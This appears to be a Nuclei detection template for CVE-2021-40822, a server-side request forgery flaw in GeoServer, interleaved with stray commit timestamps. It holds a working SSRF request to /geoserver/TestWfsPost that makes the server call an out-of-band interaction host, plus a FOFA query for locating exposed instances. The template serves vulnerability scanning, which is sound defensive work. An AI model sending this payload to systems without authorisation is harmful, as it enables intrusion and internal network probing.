2022-05-18 13:04:39 +00:00
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id: CVE-2021-40822
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info:
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name: Geoserver - SSRF
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author: For3stCo1d
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severity: high
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description: GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows SSRF via the option for setting a proxy host.
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reference:
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- https://gccybermonks.com/posts/cve-2021-40822/
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- https://github.com/geoserver/geoserver/compare/2.19.2...2.19.3
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- https://nvd.nist.gov/vuln/detail/CVE-2021-40822
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2022-05-18 17:19:05 +00:00
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- https://github.com/geoserver/geoserver/releases
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2022-05-18 13:04:39 +00:00
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2021-40822
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cwe-id: CWE-918
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metadata:
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fofa-query: app="GeoServer"
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2022-05-18 17:19:05 +00:00
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verified: "true"
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2022-05-18 17:00:54 +00:00
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tags: cve2021,ssrf,geoserver,cve
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2022-05-18 13:04:39 +00:00
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requests:
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- raw:
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- |
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POST /geoserver/TestWfsPost HTTP/1.1
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2022-05-18 17:00:54 +00:00
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Host: {{Hostname}}
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2022-05-18 13:04:39 +00:00
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Content-Type: application/x-www-form-urlencoded
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2022-05-18 17:00:54 +00:00
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form_hf_0=&url=http://{{interactsh-url}}/geoserver/../&body=&username=&password=
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2022-05-18 13:04:39 +00:00
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matchers-condition: and
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matchers:
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- type: word
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2022-05-18 17:00:54 +00:00
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part: interactsh_protocol # Confirms the HTTP Interaction
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2022-05-18 13:04:39 +00:00
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words:
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2022-05-18 17:00:54 +00:00
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- "http"
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- type: word
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words:
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- "<html><head></head><body>"
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2022-05-18 13:04:39 +00:00
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- type: status
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status:
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- 200
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